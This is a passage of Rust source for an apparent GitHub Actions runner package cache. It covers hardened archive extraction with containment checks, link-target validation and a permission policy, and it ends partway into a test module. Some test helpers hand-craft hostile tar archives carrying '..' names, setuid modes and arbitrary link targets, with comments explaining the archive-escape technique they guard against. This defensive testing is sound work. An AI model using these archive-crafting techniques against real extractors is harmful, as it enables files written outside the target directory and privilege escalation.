1834                version: version.clone(),
1835            });
1836        }
1837        let holders = self.holders(version)?;
1838        for holder in &holders {
1839            match attempts.iter().find(|attempt| attempt.id == *holder) {
1840                Some(attempt) if !attempt.is_terminal() => {
1841                    return Err(PackageError::VersionInUse {
1842                        version: version.clone(),
1843                        attempt: *holder,
1844                        state: attempt.state(),
1845                    });
1846                }
1847                Some(_) => {}
1848                None => {
1849                    return Err(PackageError::VersionHeldByUnknownAttempt {
1850                        version: version.clone(),
1851                        attempt: *holder,
1852                    });
1853                }
1854            }
1855        }
1856
1857        let dir = self.version_dir(version);
1858        remove_dir_all::remove_dir_all(&dir).map_err(|source| PackageError::Io {
1859            what: "remove a cached runner package",
1860            path: dir,
1861            source,
1862        })?;
1863        // The holders were all terminal, so their leases are spent.
1864        for holder in holders {
1865            self.release(holder)?;
1866        }
1867        Ok(())
1868    }
1869
1870    // -- staging -----------------------------------------------------------
1871
1872    fn staging_root(&self) -> PathBuf {
1873        self.root.join(STAGING_DIR)
1874    }
1875
1876    /// Remove staging litter left by an interrupted install.
1877    ///
1878    /// Nothing under `.staging/` is ever part of an entry, so this is always
1879    /// safe to call. It is separate from installing because a sweep that ran
1880    /// automatically would race a concurrent install's staging directory.
1881    ///
1882    /// # Errors
1883    /// [`PackageError::Io`] when the staging root cannot be read.
1884    pub fn sweep_staging(&self) -> Result<usize, PackageError> {
1885        let root = self.staging_root();
1886        let entries = match fs::read_dir(&root) {
1887            Ok(entries) => entries,
1888            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(0),
1889            Err(source) => {
1890                return Err(PackageError::Io {
1891                    what: "read the runner package staging area",
1892                    path: root,
1893                    source,
1894                });
1895            }
1896        };
1897        let mut swept = 0;
1898        for entry in entries.flatten() {
1899            let path = entry.path();
1900            // Both shapes live here: `download-<uuid>.archive` files and
1901            // `<uuid>/` extraction directories.
1902            let removed = if path.is_dir() {
1903                remove_dir_all::remove_dir_all(&path).is_ok()
1904            } else {
1905                fs::remove_file(&path).is_ok()
1906            };
1907            if removed {
1908                swept += 1;
1909            }
1910        }
1911        Ok(swept)
1912    }
1913}
1914
1915/// One attempt's hold on one version.
1916#[derive(Debug, Clone, Serialize, Deserialize)]
1917struct Lease {
1918    version: RunnerVersion,
1919}
1920
1921/// Removes a staging directory unless the install committed it.
1922struct StagingGuard {
1923    dir: Option<PathBuf>,
1924}
1925
1926impl StagingGuard {
1927    fn new(dir: PathBuf) -> Self {
1928        Self { dir: Some(dir) }
1929    }
1930
1931    /// The entry landed (or was already there); the staging directory is now
1932    /// ordinary litter and is removed on the spot rather than on unwind.
1933    fn disarm_into_sweep(mut self) {
1934        if let Some(dir) = self.dir.take() {
1935            let _ = remove_dir_all::remove_dir_all(dir);
1936        }
1937    }
1938}
1939
1940impl Drop for StagingGuard {
1941    fn drop(&mut self) {
1942        if let Some(dir) = self.dir.take() {
1943            let _ = remove_dir_all::remove_dir_all(dir);
1944        }
1945    }
1946}
1947
1948// ---------------------------------------------------------------------------
1949// Extraction
1950// ---------------------------------------------------------------------------
1951
1952/// Extract a verified archive into a fresh directory.
1953///
1954/// The digest has already matched by the time this runs, so these are the bytes
1955/// GitHub published. The containment checks below are defence in depth, not the
1956/// primary control — but they are cheap, and what they prevent is an archive
1957/// writing outside the directory it was given.
1958fn extract(archive: &Path, kind: ArchiveKind, into: &Path) -> Result<(), PackageError> {
1959    create_dir_all(into)?;
1960    match kind {
1961        ArchiveKind::Zip => extract_zip(archive, into),
1962        ArchiveKind::TarGz => extract_tar_gz(archive, into),
1963    }
1964}
1965
1966fn extract_zip(archive: &Path, into: &Path) -> Result<(), PackageError> {
1967    let file = fs::File::open(archive).map_err(|source| PackageError::Io {
1968        what: "open the runner package archive",
1969        path: archive.to_path_buf(),
1970        source,
1971    })?;
1972    let mut zip = zip::ZipArchive::new(file).map_err(|error| PackageError::Extract {
1973        detail: error.to_string(),
1974    })?;
1975
1976    for index in 0..zip.len() {
1977        let mut entry = zip.by_index(index).map_err(|error| PackageError::Extract {
1978            detail: error.to_string(),
1979        })?;
1980        let raw_name = entry.name().to_string();
1981        // `enclosed_name` answers `None` for an absolute path, a drive prefix,
1982        // or any `..` component. Our own containment check follows it because
1983        // the two disagree on nothing and agreeing twice is the point.
1984        let relative = entry
1985            .enclosed_name()
1986            .ok_or_else(|| PackageError::UnsafeArchiveEntry {
1987                entry: raw_name.clone(),
1988            })?;
1989        let Some(destination) = entry_destination(into, &relative, &raw_name)? else {
1990            continue;
1991        };
1992
1993        if entry.is_dir() {
1994            create_dir_all(&destination)?;
1995            // The zip path used to `continue` here and never reach the policy,
1996            // so a directory published world-writable or setgid kept it.
1997            apply_mode_policy(&destination, intended_mode(true, entry.unix_mode()))?;
1998            continue;
1999        }
2000        if entry.is_symlink() {
2001            // Windows packages are the `.zip` ones and contain no symlinks. A
2002            // link here would be a shape this agent has never seen from GitHub,
2003            // and creating it needs a privilege the agent should not want.
2004            return Err(PackageError::UnsafeArchiveEntry { entry: raw_name });
2005        }
2006        if let Some(parent) = destination.parent() {
2007            create_dir_all(parent)?;
2008        }
2009        let mut out = fs::File::create(&destination).map_err(|source| PackageError::Io {
2010            what: "create an extracted runner package file",
2011            path: destination.clone(),
2012            source,
2013        })?;
2014        io::copy(&mut entry, &mut out).map_err(|source| PackageError::Io {
2015            what: "write an extracted runner package file",
2016            path: destination.clone(),
2017            source,
2018        })?;
2019        apply_mode_policy(&destination, intended_mode(false, entry.unix_mode()))?;
2020    }
2021    Ok(())
2022}
2023
2024fn extract_tar_gz(archive: &Path, into: &Path) -> Result<(), PackageError> {
2025    let file = fs::File::open(archive).map_err(|source| PackageError::Io {
2026        what: "open the runner package archive",
2027        path: archive.to_path_buf(),
2028        source,
2029    })?;
2030    let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(file));
2031    let entries = tar.entries().map_err(|source| PackageError::Extract {
2032        detail: source.to_string(),
2033    })?;
2034    for entry in entries {
2035        let mut entry = entry.map_err(|source| PackageError::Extract {
2036            detail: source.to_string(),
2037        })?;
2038
2039        // Everything is read out of the header up front: `entry` is borrowed
2040        // mutably below, and a `Cow` borrowed from it cannot survive that.
2041        let relative = entry
2042            .path()
2043            .map_err(|source| PackageError::Extract {
2044                detail: source.to_string(),
2045            })?
2046            .into_owned();
2047        let display = relative.display().to_string();
2048        let kind = entry.header().entry_type();
2049        let mode = entry
2050            .header()
2051            .mode()
2052            .map_err(|source| PackageError::Extract {
2053                detail: source.to_string(),
2054            })?;
2055        let link_target = entry
2056            .link_name()
2057            .map_err(|source| PackageError::Extract {
2058                detail: source.to_string(),
2059            })?
2060            .map(|target| target.into_owned());
2061
2062        // This module's own containment check, before `tar`'s. Its result is
2063        // load-bearing rather than discarded: `destination` is what the mode
2064        // policy is applied to below, so removing this call does not compile.
2065        let Some(destination) = entry_destination(into, &relative, &display)? else {
2066            // `.` or `./`, the archive's own root. Skipped before `unpack_in`,
2067            // which would otherwise set the extraction root's mode itself.
2068            continue;
2069        };
2070
2071        // A link's *target* is a second path, and `tar` does not check it
2072        // against the extraction root. An unvalidated one is the classic
2073        // archive escape: a link out of the tree, then a later entry written
2074        // through it. `extract_zip` refuses links outright because a Windows
2075        // package has never carried one and creating one needs a privilege
2076        // this agent should not want. That reasoning is Windows-specific, so
2077        // rather than copy the conclusion this path checks the target: a link
2078        // that stays inside the package is legitimate on Unix and is kept, and
2079        // one that reaches outside is refused.
2080        if matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2081            let target =
2082                link_target
2083                    .as_deref()
2084                    .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2085                        entry: display.clone(),
2086                    })?;
2087            resolve_link_target(into, &destination, kind, target, &display)?;
2088        }
2089
2090        // `tar`'s own mode handling has to be turned *down* here, not up.
2091        //
2092        // `set_preserve_permissions(true)` is weaker than the default, not
2093        // stronger: `Entry::_set_perms` computes
2094        // `let mode = if preserve { mode } else { mode & 0o777 }; mode & !mask`
2095        // with `mask` defaulting to zero, so preserving applies setuid, setgid,
2096        // sticky and world-writable bits exactly as published. On a package
2097        // fetched over the network that is the wrong direction. `false` drops
2098        // the top three bits and the mask drops every group and other bit, so
2099        // nothing dangerous exists on disk even momentarily; the policy below
2100        // then sets the mode this agent actually intends.
2101        entry.set_preserve_permissions(false);
2102        entry.set_mask(0o077);
2103        let unpacked = entry
2104            .unpack_in(into)
2105            .map_err(|source| PackageError::Extract {
2106                detail: source.to_string(),
2107            })?;
2108        if !unpacked {
2109            return Err(PackageError::UnsafeArchiveEntry { entry: display });
2110        }
2111
2112        // Links are skipped: a symlink's own mode is meaningless, and
2113        // `set_permissions` follows the link and would change the target's.
2114        if !matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2115            let is_directory = matches!(kind, tar::EntryType::Directory);
2116            apply_mode_policy(&destination, intended_mode(is_directory, Some(mode)))?;
2117        }
2118    }
2119    Ok(())
2120}
2121
2122/// Prove an archive link's target cannot reach outside the package.
2123///
2124/// A symlink's target is resolved relative to the link's own directory; a hard
2125/// link's is relative to the archive root. Both must land inside `into`, and an
2126/// absolute target is refused outright — nothing GitHub publishes needs one,
2127/// and it is the shape an escape takes.
2128fn resolve_link_target(
2129    into: &Path,
2130    entry_destination: &Path,
2131    kind: tar::EntryType,
2132    target: &Path,
2133    raw: &str,
2134) -> Result<(), PackageError> {
2135    let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2136        entry: raw.to_string(),
2137    };
2138    if target.is_absolute() {
2139        return Err(unsafe_entry());
2140    }
2141    let mut resolved = if matches!(kind, tar::EntryType::Symlink) {
2142        entry_destination.parent().unwrap_or(into).to_path_buf()
2143    } else {
2144        into.to_path_buf()
2145    };
2146    for component in target.components() {
2147        match component {
2148            Component::Normal(part) => resolved.push(part),
2149            Component::CurDir => {}
2150            // Climbing is legitimate inside a package — `bin/current` may point
2151            // at `../run.sh` — so it is followed rather than refused, and the
2152            // containment check below is what decides.
2153            Component::ParentDir => {
2154                if !resolved.pop() {
2155                    return Err(unsafe_entry());
2156                }
2157            }
2158            Component::RootDir | Component::Prefix(_) => return Err(unsafe_entry()),
2159        }
2160    }
2161    if !is_inside(into, &resolved) {
2162        return Err(unsafe_entry());
2163    }
2164    Ok(())
2165}
2166
2167/// Where one archive entry lands, or `None` when it names the extraction root.
2168///
2169/// # Why a root entry is skipped rather than refused
2170///
2171/// An entry called `.` or `./` resolves to the extraction directory itself.
2172/// Left alone that hands the archive control over the mode of a directory this
2173/// module created and owns — [`apply_mode_policy`] would chmod the root, and
2174/// `tar`'s own unpack would too. Not an escape, since the policy fails closed,
2175/// but not the archive's decision to make either.
2176///
2177/// Refusing it was the obvious fix and is the wrong one: `tar -C dir -czf
2178/// out.tgz .` emits exactly this entry for the archive's own root, so a refusal
2179/// would reject a perfectly ordinary package. The root already exists — it is
2180/// created at the top of [`extract`] — so there is nothing such an entry can
2181/// contribute and nothing lost by ignoring it. Skipping closes the hole
2182/// completely and cannot fail a legitimate archive.
2183///
2184/// This is the same trade as the link-target check in [`extract_tar_gz`]:
2185/// validate the dangerous property, do not refuse the shape.
2186fn entry_destination(
2187    root: &Path,
2188    relative: &Path,
2189    raw: &str,
2190) -> Result<Option<PathBuf>, PackageError> {
2191    let resolved = resolve_inside(root, relative, raw)?;
2192    if resolved == root {
2193        return Ok(None);
2194    }
2195    Ok(Some(resolved))
2196}
2197
2198/// The mode an extracted entry should end up with, or `None` to leave it alone.
2199///
2200/// Pure, and separated from the two extraction paths on purpose: it is the only
2201/// place the directory rule exists, and it can be asserted on a CI leg whose
2202/// filesystem has no mode bits.
2203///
2204/// **A directory always gets the executable bit.** `policy_mode` alone would
2205/// turn a published `0o644` directory into `0o600`, which the agent could not
2206/// then descend into — traversability is not the archive's to withhold. A
2207/// directory with no published mode at all (a zip written on Windows) gets the
2208/// same answer rather than being left at whatever `create_dir_all` chose.
2209fn intended_mode(is_directory: bool, published: Option<u32>) -> Option<u32> {
2210    if is_directory {
2211        return Some(policy_mode(published.unwrap_or(0o700) | 0o100));
2212    }
2213    published.map(policy_mode)
2214}
2215
2216/// Join `relative` onto `root` and prove the result stays inside it.
2217fn resolve_inside(root: &Path, relative: &Path, raw: &str) -> Result<PathBuf, PackageError> {
2218    let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2219        entry: raw.to_string(),
2220    };
2221    if relative.is_absolute() {
2222        return Err(unsafe_entry());
2223    }
2224    let mut resolved = root.to_path_buf();
2225    for component in relative.components() {
2226        match component {
2227            Component::Normal(part) => resolved.push(part),
2228            // `.` is harmless but carries no information; everything else —
2229            // `..`, a root, a drive prefix — is an escape attempt or a shape
2230            // this module refuses to guess about.
2231            Component::CurDir => {}
2232            Component::ParentDir | Component::RootDir | Component::Prefix(_) => {
2233                return Err(unsafe_entry());
2234            }
2235        }
2236    }
2237    if !is_inside(root, &resolved) {
2238        return Err(unsafe_entry());
2239    }
2240    Ok(resolved)
2241}
2242
2243/// Whether `candidate` is `root` itself or lies beneath it, lexically.
2244///
2245/// Lexical on purpose: it must answer for paths that do not exist yet — an
2246/// archive entry's destination, an attempt's runtime directory before `e3`
2247/// creates it — and `canonicalize` cannot.
2248///
2249/// # Known limit
2250///
2251/// Components are compared byte-exactly, so on Windows a path differing from
2252/// the root only in case, or reaching it through an 8.3 short name, is not
2253/// recognised as inside. That would weaken [`PackageCache::lease`]'s workspace
2254/// guard, which is the caller that matters. It is latent rather than live:
2255/// every path on both sides of that comparison is derived from the same
2256/// [`AppPaths`] instance, so the spellings match by construction. Case-folding
2257/// here would be wrong for the archive-entry caller, where two entries
2258/// differing only in case are two entries — closing it properly means a
2259/// platform-aware comparison, not a `to_lowercase`.
2260fn is_inside(root: &Path, candidate: &Path) -> bool {
2261    let normalise = |path: &Path| -> Vec<std::ffi::OsString> {
2262        path.components()
2263            .filter_map(|component| match component {
2264                Component::Normal(part) => Some(part.to_os_string()),
2265                Component::RootDir => Some(std::ffi::OsString::from("/")),
2266                Component::Prefix(prefix) => Some(prefix.as_os_str().to_os_string()),
2267                Component::CurDir | Component::ParentDir => None,
2268            })
2269            .collect()
2270    };
2271    // A `..` anywhere in the candidate means the lexical answer is not
2272    // trustworthy, so refuse to claim containment.
2273    if candidate
2274        .components()
2275        .any(|c| matches!(c, Component::ParentDir))
2276    {
2277        return false;
2278    }
2279    let root = normalise(root);
2280    let candidate = normalise(candidate);
2281    candidate.len() >= root.len() && candidate[..root.len()] == root[..]
2282}
2283
2284/// The only mode this agent ever applies to something it extracted.
2285///
2286/// **A mode published in an archive is not a security decision this agent
2287/// delegates.** Exactly one bit group is honoured — the executable bits,
2288/// because the runner's `run.sh`, `config.sh` and `bin/*` are useless without
2289/// them — and the owner gets read and write so the tree is usable. Everything
2290/// else is dropped: setuid and setgid, which would turn a downloaded package
2291/// into a privilege escalation; the sticky bit; and every group and other bit,
2292/// which would let another account on the machine rewrite the binaries every
2293/// future runner is launched from.
2294///
2295/// The result is **owner-only**, matching the `0700` posture `d1` already uses
2296/// for every directory it creates. Writing this as `(published & 0o111) |
2297/// 0o600` looks equivalent and is not: it carries the *group and other*
2298/// execute bits straight through from the archive, so a published `0755` would
2299/// leave every account on the machine able to execute the runner binaries. The
2300/// archive's only say here is whether the file is executable at all.
2301///
2302/// Deliberately **not** `cfg`-gated and deliberately pure, so the policy has
2303/// one definition, both extraction paths reach the same one, and it can be
2304/// asserted on a CI leg whose filesystem has no modes at all.
2305const fn policy_mode(published: u32) -> u32 {
2306    if published & 0o111 == 0 { 0o600 } else { 0o700 }
2307}
2308
2309/// Apply [`policy_mode`] to something just extracted.
2310///
2311/// One function rather than a `cfg`-gated pair, so [`policy_mode`] is reached
2312/// on every target. As two functions the Windows build never called it, and
2313/// `-D warnings` failed the Windows leg on dead code — a small thing, but it
2314/// pointed at a real one: a security policy that is compiled out on a platform
2315/// is a policy nobody can be sure still exists there.
2316fn apply_mode_policy(path: &Path, mode: Option<u32>) -> Result<(), PackageError> {
2317    let Some(published) = mode else { return Ok(()) };
2318    let mode = policy_mode(published);
2319    #[cfg(unix)]
2320    {
2321        use std::os::unix::fs::PermissionsExt as _;
2322        fs::set_permissions(path, fs::Permissions::from_mode(mode)).map_err(|source| {
2323            PackageError::Io {
2324                what: "set permissions on an extracted runner package file",
2325                path: path.to_path_buf(),
2326                source,
2327            }
2328        })
2329    }
2330    #[cfg(not(unix))]
2331    {
2332        // Windows has no mode bits to apply, and the `.zip` packages are the
2333        // Windows ones — which is exactly why the policy has to be enforced on
2334        // the `.tar.gz` path, the one that runs where modes exist.
2335        let _ = (path, mode);
2336        Ok(())
2337    }
2338}
2339
2340// ---------------------------------------------------------------------------
2341// Small filesystem helpers
2342// ---------------------------------------------------------------------------
2343
2344/// Remove a file, treating "it was not there" as success.
2345///
2346/// Any other failure is reported: a download that could not be deleted is a
2347/// package sitting unverified on the operator's disk, which is worth a word.
2348fn remove_file_if_present(path: &Path, what: &'static str) -> Result<(), PackageError> {
2349    match fs::remove_file(path) {
2350        Ok(()) => Ok(()),
2351        Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
2352        Err(source) => Err(PackageError::Io {
2353            what,
2354            path: path.to_path_buf(),
2355            source,
2356        }),
2357    }
2358}
2359
2360fn create_dir_all(path: &Path) -> Result<(), PackageError> {
2361    fs::create_dir_all(path).map_err(|source| PackageError::Io {
2362        what: "create a runner package cache directory",
2363        path: path.to_path_buf(),
2364        source,
2365    })
2366}
2367
2368fn write_json<T: Serialize>(path: &Path, value: &T) -> Result<(), PackageError> {
2369    let encoded = serde_json::to_vec_pretty(value).map_err(|error| PackageError::Extract {
2370        detail: format!("the package manifest could not be encoded: {error}"),
2371    })?;
2372    fs::write(path, encoded).map_err(|source| PackageError::Io {
2373        what: "write a runner package cache file",
2374        path: path.to_path_buf(),
2375        source,
2376    })
2377}
2378
2379/// Which attempt one lease file records as holding `version`, if any.
2380///
2381/// Split out of [`PackageCache::holders`] so the three answers can be asserted
2382/// directly. The middle one is a race that only a seam like this can be shown
2383/// to handle: a lease file listed and then gone cannot be produced on demand
2384/// from outside, but it is exactly what a concurrent [`PackageCache::release`]
2385/// leaves behind.
2386///
2387/// * **Gone** — `Ok(None)`. The directory was listed a moment ago, so a lease
2388///   that has since disappeared was released in between. That is an ordinary
2389///   race and precisely the outcome a prune is waiting for. Reporting it as
2390///   [`PackageError::UnreadableLease`] would make `prune` refuse for a reason
2391///   that is not true and send the operator to inspect a file that is not
2392///   there.
2393/// * **Present and unintelligible** — `Err`. Unreadable is not "nothing holds
2394///   this", and a lease is written non-atomically, so a crash mid-write leaves
2395///   exactly this shape. Fails closed.
2396/// * **Present and readable** — `Ok(Some(id))` when it names `version`.
2397///
2398/// # Errors
2399/// [`PackageError::UnreadableLease`] for a file whose name is not an attempt
2400/// identifier or whose contents do not parse, [`PackageError::Io`] otherwise.
2401fn holder_of(path: &Path, version: &RunnerVersion) -> Result<Option<AttemptId>, PackageError> {
2402    let unreadable = || PackageError::UnreadableLease {
2403        path: path.to_path_buf(),
2404    };
2405    let uuid = path
2406        .file_stem()
2407        .and_then(|stem| stem.to_str())
2408        .and_then(|stem| uuid::Uuid::parse_str(stem).ok())
2409        .ok_or_else(unreadable)?;
2410    let Some(lease) = read_lease(path)? else {
2411        return Ok(None);
2412    };
2413    Ok((lease.version == *version).then(|| AttemptId::from_uuid(uuid)))
2414}
2415
2416/// Reads one lease, strictly.
2417///
2418/// The counterpart of [`read_json`], and deliberately not the same policy.
2419/// `read_json` treats a corrupt file as absent, which is right for a
2420/// **manifest**: the fallback there is "this directory is not an entry", and
2421/// the caller's next move is the same either way. It is wrong for a **lease**,
2422/// where the fallback would be "nothing holds this version" — the most
2423/// dangerous answer this module can give, and the one thing that would make an
2424/// otherwise fail-closed prune guard fail open.
2425///
2426/// # Errors
2427/// [`PackageError::UnreadableLease`] when the file exists and does not parse,
2428/// [`PackageError::Io`] when it cannot be read at all.
2429fn read_lease(path: &Path) -> Result<Option<Lease>, PackageError> {
2430    let bytes = match fs::read(path) {
2431        Ok(bytes) => bytes,
2432        Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2433        Err(source) => {
2434            return Err(PackageError::Io {
2435                what: "read a runner package lease",
2436                path: path.to_path_buf(),
2437                source,
2438            });
2439        }
2440    };
2441    serde_json::from_slice(&bytes)
2442        .map(Some)
2443        .map_err(|_| PackageError::UnreadableLease {
2444            path: path.to_path_buf(),
2445        })
2446}
2447
2448/// Reads a JSON file, answering `None` when it is absent or unreadable as `T`.
2449///
2450/// A corrupt manifest reads as "not an entry" rather than as an error: the
2451/// caller's next move is the same either way — treat the directory as not
2452/// installed — and a cache that refuses to answer at all because one directory
2453/// is damaged is worse than one that ignores it.
2454fn read_json<T: for<'de> Deserialize<'de>>(path: &Path) -> Result<Option<T>, PackageError> {
2455    let bytes = match fs::read(path) {
2456        Ok(bytes) => bytes,
2457        Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2458        Err(source) => {
2459            return Err(PackageError::Io {
2460                what: "read a runner package cache file",
2461                path: path.to_path_buf(),
2462                source,
2463            });
2464        }
2465    };
2466    Ok(serde_json::from_slice(&bytes).ok())
2467}
2468
2469// ---------------------------------------------------------------------------
2470// Tests
2471// ---------------------------------------------------------------------------
2472
2473#[cfg(test)]
2474mod tests {
2475    use super::*;
2476
2477    use std::io::Write as _;
2478    use std::sync::atomic::{AtomicUsize, Ordering};
2479
2480    use runner_manager_domain::attempt::AttemptState;
2481    use runner_manager_testkit::clock::FakeClock;
2482    use runner_manager_testkit::fixtures;
2483    use runner_manager_testkit::github as gh;
2484
2485    // -- archive fixtures --------------------------------------------------
2486
2487    /// A real `.zip`, built in memory.
2488    fn zip_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2489        let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2490        let options = zip::write::SimpleFileOptions::default();
2491        for (name, body) in entries {
2492            writer
2493                .start_file(*name, options)
2494                .expect("start a zip entry");
2495            writer
2496                .write_all(body.as_bytes())
2497                .expect("write a zip entry");
2498        }
2499        writer.finish().expect("finish the zip").into_inner()
2500    }
2501
2502    /// A real `.zip` whose entries carry explicit unix modes.
2503    ///
2504    /// A name ending in `/` becomes a directory entry, which is how a zip
2505    /// records one and is the case the mode policy used to skip.
2506    fn zip_bytes_with_modes(entries: &[(&str, &str, Option<u32>)]) -> Vec<u8> {
2507        let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2508        for (name, body, mode) in entries {
2509            let mut options = zip::write::SimpleFileOptions::default();
2510            if let Some(mode) = mode {
2511                options = options.unix_permissions(*mode);
2512            }
2513            if name.ends_with('/') {
2514                writer
2515                    .add_directory(name.trim_end_matches('/'), options)
2516                    .expect("start a zip directory");
2517            } else {
2518                writer
2519                    .start_file(*name, options)
2520                    .expect("start a zip entry");
2521                writer
2522                    .write_all(body.as_bytes())
2523                    .expect("write a zip entry");
2524            }
2525        }
2526        writer.finish().expect("finish the zip").into_inner()
2527    }
2528
2529    /// A real `.tar.gz`, built in memory.
2530    fn tar_gz_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2531        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2532        let mut builder = tar::Builder::new(encoder);
2533        for (name, body) in entries {
2534            let mut header = tar::Header::new_gnu();
2535            header.set_size(body.len() as u64);
2536            header.set_mode(0o644);
2537            header.set_cksum();
2538            builder
2539                .append_data(&mut header, name, body.as_bytes())
2540                .expect("append a tar entry");
2541        }
2542        builder
2543            .into_inner()
2544            .expect("finish the tar")
2545            .finish()
2546            .expect("finish the gzip")
2547    }
2548
2549    /// A `.tar.gz` carrying an entry name that `tar::Builder` refuses to write.
2550    ///
2551    /// `append_data` rejects a path containing `..` outright — "paths in
2552    /// archives must not have `..`" — which is a fine default and a useless
2553    /// fixture: an attacker does not use `tar::Builder`. The header is
2554    /// therefore filled in by hand and appended raw, so the archive under test
2555    /// is the archive a hostile producer would actually emit.
2556    fn tar_gz_with_raw_name(name: &str, body: &str) -> Vec<u8> {
2557        let mut header = tar::Header::new_gnu();
2558        header.set_size(body.len() as u64);
2559        header.set_mode(0o644);
2560        header.set_entry_type(tar::EntryType::Regular);
2561        {
2562            let gnu = header.as_gnu_mut().expect("a GNU header");
2563            let bytes = name.as_bytes();
2564            assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
2565            gnu.name[..bytes.len()].copy_from_slice(bytes);
2566        }
2567        header.set_cksum();
2568
2569        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2570        let mut builder = tar::Builder::new(encoder);
2571        builder
2572            .append(&header, body.as_bytes())
2573            .expect("append a raw tar entry");
2574        builder
2575            .into_inner()
2576            .expect("finish the tar")
2577            .finish()
2578            .expect("finish the gzip")
2579    }
2580
2581    /// A `.tar.gz` carrying one entry with an exact mode and entry type.
2582    ///
2583    /// `tar::Header::set_mode` writes the value verbatim with no masking, which
2584    /// is what lets a fixture carry a setuid bit — the thing a published
2585    /// archive could carry and this module must refuse to apply.
2586    fn tar_gz_special(
2587        name: &str,
2588        body: &str,
2589        mode: u32,
2590        kind: tar::EntryType,
2591        link_target: Option<&str>,
2592    ) -> Vec<u8> {
2593        let is_link = matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link);
2594        let mut header = tar::Header::new_gnu();
2595        header.set_size(if is_link { 0 } else { body.len() as u64 });
2596        header.set_mode(mode);
2597        header.set_entry_type(kind);
2598        if let Some(target) = link_target {
2599            header
2600                .set_link_name_literal(target)
2601                .expect("a raw link target");
2602        }
2603        {
2604            let gnu = header.as_gnu_mut().expect("a GNU header");
2605            let bytes = name.as_bytes();
2606            assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
2607            gnu.name[..bytes.len()].copy_from_slice(bytes);
2608        }
2609        header.set_cksum();
2610
2611        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2612        let mut builder = tar::Builder::new(encoder);
2613        let data: &[u8] = if is_link { &[] } else { body.as_bytes() };
2614        builder
2615            .append(&header, data)
2616            .expect("append a raw tar entry");
2617        builder
2618            .into_inner()
2619            .expect("finish the tar")
2620            .finish()
2621            .expect("finish the gzip")
2622    }
2623
2624    /// Read one entry's header back out of a `.tar.gz`.
2625    ///
2626    /// Every fixture below is checked through this before it is used. A test
2627    /// that asserts "the setuid bit was not applied" proves nothing if the
2628    /// fixture never carried one.
2629    fn first_entry_header(bytes: &[u8]) -> (u32, tar::EntryType, Option<PathBuf>) {
2630        let mut archive = tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
2631            bytes.to_vec(),
2632        )));
2633        let mut entries = archive.entries().expect("entries");
2634        let entry = entries
2635            .next()
2636            .expect("one entry")
2637            .expect("a readable entry");
2638        let link = entry
2639            .link_name()
2640            .expect("a link name field")
2641            .map(|path| path.into_owned());
2642        let header = entry.header();
2643        (header.mode().expect("a mode"), header.entry_type(), link)
2644    }
2645
2646    /// The two entries every fixture package carries.
2647    fn package_entries() -> Vec<(&'static str, &'static str)> {
2648        vec![
2649            ("run.sh", "#!/bin/sh\necho runner\n"),
2650            ("bin/Runner.Listener", "listener\n"),
2651        ]
2652    }
2653
2654    fn hex_digest(bytes: &[u8]) -> String {
2655        let mut hasher = Sha256::new();
2656        hasher.update(bytes);
2657        hex::encode(hasher.finalize())
2658    }
2659
2660    /// Build one published-download record.
2661    fn published(
2662        os: &str,
2663        arch: &str,
2664        version: &str,
2665        extension: &str,
2666        digest: Option<&str>,
2667    ) -> RunnerDownload {
2668        let filename = format!("actions-runner-{os}-{arch}-{version}{extension}");
2669        RunnerDownload {
2670            os: os.to_string(),
2671            architecture: arch.to_string(),
2672            download_url: format!(
2673                "https://github.com/actions/runner/releases/download/v{version}/{filename}"
2674            ),
2675            filename,
2676            sha256_checksum: digest.map(str::to_string),
2677        }
2678    }
2679
2680    // -- fake ports --------------------------------------------------------
2681
2682    #[derive(Debug, Clone)]
2683    enum Answer {
2684        Downloads(Vec<RunnerDownload>),
2685        Rejected,
2686        Unavailable,
2687    }
2688
2689    #[derive(Debug)]
2690    struct FakeCatalog {
2691        answer: Mutex<Answer>,
2692        calls: AtomicUsize,
2693    }
2694
2695    impl FakeCatalog {
2696        fn with(downloads: Vec<RunnerDownload>) -> Arc<Self> {
2697            Self::answering(Answer::Downloads(downloads))
2698        }
2699
2700        fn answering(answer: Answer) -> Arc<Self> {
2701            Arc::new(Self {
2702                answer: Mutex::new(answer),
2703                calls: AtomicUsize::new(0),
2704            })
2705        }
2706
2707        fn publish(&self, downloads: Vec<RunnerDownload>) {
2708            *self.answer.lock().unwrap() = Answer::Downloads(downloads);
2709        }
2710
2711        fn calls(&self) -> usize {
2712            self.calls.load(Ordering::SeqCst)
2713        }
2714    }
2715
2716    #[async_trait::async_trait]
2717    impl DownloadCatalog for FakeCatalog {
2718        async fn published(&self) -> Result<RunnerDownloads, PackageError> {
2719            self.calls.fetch_add(1, Ordering::SeqCst);
2720            let answer = self.answer.lock().unwrap().clone();
2721            match answer {
2722                Answer::Downloads(entries) => Ok(RunnerDownloads::new(entries)),
2723                Answer::Rejected => Err(PackageError::VersionRejected {
2724                    version: None,
2725                    detail: Some("the runner version is no longer supported".to_string()),
2726                }),
2727                Answer::Unavailable => Err(PackageError::CatalogUnavailable {
2728                    detail: "502 Bad Gateway".to_string(),
2729                }),
2730            }
2731        }
2732    }
2733
2734    #[derive(Debug)]
2735    struct FakeFetcher {
2736        payload: Mutex<Vec<u8>>,
2737        /// Every `(url, destination)` this fetcher was asked for, in order.
2738        calls: Mutex<Vec<(String, PathBuf)>>,
2739        /// Destinations that genuinely existed on disk immediately after the
